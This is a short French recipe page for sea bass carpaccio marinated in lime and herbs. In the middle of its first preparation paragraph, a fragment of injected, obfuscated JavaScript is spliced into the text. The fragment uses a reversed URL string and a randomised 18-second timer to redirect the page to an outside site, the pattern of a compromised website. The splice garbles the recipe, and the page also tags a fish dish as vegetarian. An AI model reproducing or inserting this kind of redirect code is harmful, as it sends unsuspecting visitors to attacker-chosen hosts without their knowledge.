Carpaccio de mer
2018-01-03- Cuisine : Carpaccio, Poissons
- Thématique : Végétarien
- Niveau : Facile
Pelez, émincez les oignons. Coupez le filet de poisson en tranches fines et l’arrosez de jus de citron, ajoutez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toutes les herbes, sel, poivre, filmez et laissez macérer pendant 1 heure.
Ingrédients
- Pour 4 personnes
- 500 g de filet de bar
- 2 citrons verts
- 2 oignons nouveaux où blancs
- Thym
- Laurier
- Aneth
Préparation de la recette
Etape 1
Pelez, émincez les oignons. Coupez le filet de poisson en tranches fines et l'arrosez de jus de citron, ajoutez toutes les herbes, sel, poivre, filmez et laissez macérer pendant 1 heure.
Etape 2
A ce moment déposez dans chaque assiette les tranches de bar, quelques rondelles de tomates autour et parsemez d'oignons émincés.
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